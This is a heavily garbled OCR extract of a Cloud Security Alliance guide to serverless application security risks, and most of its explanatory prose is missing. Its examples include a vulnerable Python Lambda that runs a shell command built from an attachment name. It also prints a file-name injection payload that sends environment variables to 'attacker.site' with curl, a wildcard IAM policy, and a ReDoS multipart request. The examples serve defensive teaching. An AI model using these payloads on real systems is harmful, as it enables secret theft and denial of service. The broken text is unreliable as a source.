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ABOUT

About Cloud Security Alliance

The Cloud Security Alliance (CSA) is a not-for-profit organization with a mission to promote the use of best practices for
providing security assurance within the cloud computing industry. Furthermore, it provides education on the application
of cloud computing and its role in securing all other forms of computing. The CSA is led by a broad coalition of industry
practitioners, corporations, associations, and other key stakeholders. For further information, visit
www.cloudsecurityalliance.org and follow us on Twitter @cloudsa.

About the CSA Israel Chapter

The Israeli chapter of the Cloud Security Alliance (CSA) created this document. The CSA Israel chapter was founded by
security professionals united in a desire to promote responsible cloud adoption in the Israeli market while delivering
useful knowledge and global best practices to the Israeli innovation scene. Visit our Facebook group at
www.facebook.com/groups/789522244477928 for more details.

© 2019 Cloud Security Alliance.

All rights reserved. You may download, store, display on your computer, view, print, and link to the Cloud Security Alliance Survey at
http:// www.cloudsecurityalliance.org/research/ subject to the following: (a) the Questionnaire may be used solely for your personal,
informational, non-commercial use; (b) the Questionnaire may not be modified or altered in any way; (c) the Questionnaire may not
be redistributed; and (d) the trademark, copyright or other notices may not be removed. You may quote portions of the

Questionnaire as permitted by the Fair Use provisions of the United States Copyright Act, provided that you attribute the portions to
the Cloud Security Alliance Cloud Data Governance.
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e GitHub
e PureSec

* CSA

SAS {NUMBER}

* SAS1:
e SAS2:
¢« SAS3:
e SAS4 :
e SAS5 :
* SAS6 :
e SAS7 :
* SASS8 :
e SAS9:
* SAS10:
e SAS11:
e SAS12:

SAS]I:

"Open Web Application Secur.i
( OWASP) Top 10"



Web API

. ( : Amazon Web Services Simple Storage Service (AWS S3), Azure
Blob Storage, Google Cloud Storage )
* NoSQL ( : AWS DynamoDB, Azure Cosmos DB )
* SQL
. ( : AWSKinesis )
e HTTP API
e loT
. (SMS)
Web GET/POST HTTP
. (0S)
. ( Node.js/JavaScript  Python Java C# Golang )
* SQL
* NoSQL
. / Pub/Sub Message Queuing Telemetry

Transport MQTT
. (XML) (XXE)
. (SSRF)

(CV) (PDF)
PDF
PDF
pdf to text



def index(event, context):
for record in event['Records’]:
sns_message = json.loads(record['Sns']['Message'])
raw_email = sns_message[ 'content']
parser = email.message_from_string(raw_email)
if parser.is_multipart():
for email_msg in parser.get_payload():
file_name = email_msg.get_filename()
if not file_name:
continue
if not file_name.endswith('.pdf'):
continue

# export pdf attachment to /tmp

pdf_file_path = os.path.join('/tmp', file_name)

with open(pdf_file_path, "wb") as pdf_file:
pdf_file.write(email_msg.get_payload(decode=True))

# extract text from pdf file
cmd = "/var/task/lib/pdftotext {} -".format(pdf_file_path)

pdf_content = subprocess.check_output(cmd, shell=True)

PDF
.pdf

PDF PDF

foobar;env|curl -H "Content-Type: text/plain" -X POST -d @- http://attacker.site/collector #.pdf

API

HTTP
GET/POST



SAST IAST

IPS WAF

RASP
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Web
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Web API

loT SMS

DAST

API
API

SQL

DAST/SAST/IAST

NoSQL

AWS


https://aws.amazon.com/blogs/security/how-to-create-an-aws-iam-policy-to-grant-aws-lambda-access-to-an-amazon-dynamodb-table/

API

Web

¢ AWS Cognito (SSO)
* AWS API Gateway

e Azure App Service /

e Google Firebase

 |IBM Bluemix App ID SSO



https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-control-access-to-api.html

API API SAML
(Security Assertion Markup Language)

OTA Overthe- Air Pub/Sub
loT
. TLS Pub/Sub
e Pub/Sub Open
Authorization (OAuth)
e Pub/Sub
AWS AWS Config
AWS Config
. AWS Lambda
. AWS Lambda
¢ AWS Lambda (Identity and Access Management (IAM))
. AWS S3
. AWS S3

AWS Azure Google Cloud Platform  GCP
Cloud Security Posture Repository (CSPR) AWS Lambda
PureSec 4

— CloudGuard Dome9 Arc Check
Point Microsoft Azure Security Center -


https://gsl.dome9.com/

SAS-3:
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DevOps

SAS2
e "Amazon S3
e "Amazon S3 "
e "(Microsoft)Azure Storage "
e "Google "
e CSPR™
DevOps
SAS?2
AWS Lambda "DynamoDB put_item()"
DynamoDB

# ...
# store pdf content in DynamoDB table
dynamodb_client.put_item(TableName=TABLE_NAME,
Item={"email": {"S": parser['From']},
"subject": {"S": parser['Subject']},
"received": {"S": str(datetime.utcnow()).split('.")[@]},
"filename": {"S": file_name},
"requestid”: {'S': context.aws_request_id},
"content": {'S': pdf_content.decode("utf-8")}})


https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
https://read.acloud.guru/how-to-secure-an-s3-bucket-7e2dbd34e81b
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://cloud.google.com/storage/docs/best-practices#security
https://www.ibm.com/cloud/garage/architectures/securityArchitecture/security-for-data
https://gsl.dome9.com/
https://www.us-cert.gov/bsi/articles/knowledge/principles/least-privilege

IAM serverless.yml

- Effect: Allow
Action:
- ‘'dynamodb:*'
Resource:
- 'arn:aws:dynamodb:us-east-1:¥*¥¥xkxkkkikkxk*:table/TABLE_NAME'

- Effect: Allow
Action:
- dynamodb:PutItem
Resource: 'arn:aws:dynamodb:us-east-1:¥¥¥¥*kikkkkxkx*x*:table/TABLE_NAME'

IAM

IAM

IAM

SAS

AWS Lambda IAM

IAM


https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html
https://docs.microsoft.com/en-us/azure/storage/common/storage-dotnet-shared-access-signature-part-1?toc=%2fazure%2fstorage%2fblobs%2ftoc.json
https://github.com/puresec/serverless-puresec-cli/
https://www.puresec.io/blog/generating-least-privileged-iam-roles-for-aws-lambda-functions-the-easy-way

IAM

AWS



https://cloud.google.com/blog/products/gcp/iam-best-practice-guides-available-now?hl=cs
https://www.puresec.io/blog/aws-security-best-practices-aws-lambda-security-design-for-failure
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DevOps
SIEM
The SANS Institute " The 6 Categories of Critical Log Information "
. SQL

SQL



SIEM SIEM

SANS

PureSec

. / API

. API



PureSec

e AWS X-Ray
e  Azure Monitor
e  Monitoring (Google) Cloud Function

e Using Amazon CloudWatch

e AWS Services that Publish CloudWatch Metrics

e Logging AWS Lambda API Calls with AWS CloudTrail

e  Monitor Azure Functions

¢ Monitoring (Google) Cloud Functions

e Using AWS CloudTrail to enhance your serverless application security



https://aws.amazon.com/xray/
https://azure.microsoft.com/en-us/services/monitor/
https://cloud.google.com/functions/docs/monitoring/
https://docs.aws.amazon.com/lambda/latest/dg/monitoring-functions.html
https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/aws-services-cloudwatch-metrics.html
https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html
https://docs.microsoft.com/en-us/azure/azure-functions/functions-monitoring
https://cloud.google.com/functions/docs/monitoring/
https://serverless.com/blog/cloudtrail-security/

SAS-6:

API
Web

MITER CVECommoNulnerabilities and Exposures

e | Known vulnerabilities in Node.js modules
e | Known vulnerabilities in Java technologies
e | Known vulnerabilities in Python related technologies

OWASP 10

CIl/CD npm audit



https://www.npmjs.com/advisories
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=java
https://github.com/pyupio/safety-db
https://docs.npmjs.com/cli/audit

SAS-7:
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(InfoSec)
KMI

API

e AWS Secrets Manager

o (AWS) Tutorial: Storing and Retrieving a Secret

* Create a Lambda Function Using Environment Variables To Store Sensitive Information e An opinionated tool
for safely managing and deploying Serverless projects and their secrets.

e Key Vault Documentation

e Working with Azure Key Vault in Azure Functions

* Secret management with (Google) Cloud KMS

SAS-8:

10 (DoS)

2016 (DDoS) 1 (1 Tbps)
2018 3 PureSec AWS ambdaMultipart - Parser. NPM
(ReDoS) AWS Lambda

ReDoS Node. | s -LambdaM$tipart -Par ser ” )


https://aws.amazon.com/secrets-manager/
https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html
https://docs.aws.amazon.com/lambda/latest/dg/tutorial-env_console.html
https://github.com/trek10inc/serverless-secrets
https://github.com/trek10inc/serverless-secrets
https://docs.microsoft.com/en-us/azure/key-vault/
https://docs.microsoft.com/en-us/azure/key-vault/
https://jan-v.nl/post/working-with-azure-key-vault-in-azure-functions
https://cloud.google.com/kms/docs/secret-management

module.exports.parse = (event, spotText) => {
const boundary = getValueIgnoringKeyCase(event.headers, ‘'Content-Type').split('=')[1];
const body = (event.isBase64Encoded ? Buffer.from(event.body, 'base64').toString('binary') : event.body)
.split(new RegExp(boundary))
.filter(item => item.match(/Content-Disposition/))

1. boundary Content- Type
2. boundary JavaScript
split()
3. ReEXxp() split()
boundary
4. boundary ReDoS

multipart/form - data

POST /app HTTP/1.1

Host: XXXXXXXXXXX.execute-api.us-east-1.amazonaws.com
Content-Length: 327

Content-Type: multipart/form-data; boundary=(.+)+$
Connection: keep-alive

(.+)+$

Content-Disposition: form-data; name="text"

PureSec

(.+)+$

Content-Disposition: form-data; name="filel"; filename="a.txt"
Content-Type: text/plain

Content of a.txt.
(.+)+$
Content-Disposition: form-data; name="file2"; filename="a.html"

Content-Type: text/html

<IDOCTYPE html><title>Content of a.html.</title>

(.+)+$
boundary (+)+$ boundary
(CPU) 100%
CSA MacBook Pro (3.5Ghz Intel Core i7 CPU ) boundary
Node 10 Node
AWS Lambda
AWS Lambda
Lambda " "

PureSec



AWS virtual private cloud (VPC) (1P) VPC AWS Lambda
VPC IP
IP VPC DoS

IP N/A VPC AWS Lambda
VPC
IP



DoS DAV  (Denial of Wallet )

“ Best Practices for Working with AWS Lambda Functions
“ Optimize the performance and reliability of Azure Functions

.
* API
¢ ReDoS, billion -laughs- attack, DoS
API
¢ VPC Lambda IP
e AWS Lambda 1
Lambda IP

DoS

SAS-9:

DoS

Copyright © 2019 Cloud Security Alliance
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https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html
https://docs.aws.amazon.com/lambda/latest/dg/best-practices.html
https://docs.microsoft.com/en-us/azure/azure-functions/functions-best-practices
https://docs.microsoft.com/en-us/azure/azure-functions/functions-best-practices
https://docs.microsoft.com/en-us/azure/azure-functions/functions-best-practices
https://docs.aws.amazon.com/lambda/latest/dg/vpc.html

AWS Step Functions Azure Logic Apps
Azure Durable Functions  IBM Cloud Functions

. No.1:
. No.2: API
. No.3: API
8KB
. No.4:
Pub/Sub
o No.5:Pub/Sub
2
2
1.
( No.3 )
2. Pub/Sub

Copyright © 2019 Cloud Security Alliance
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API
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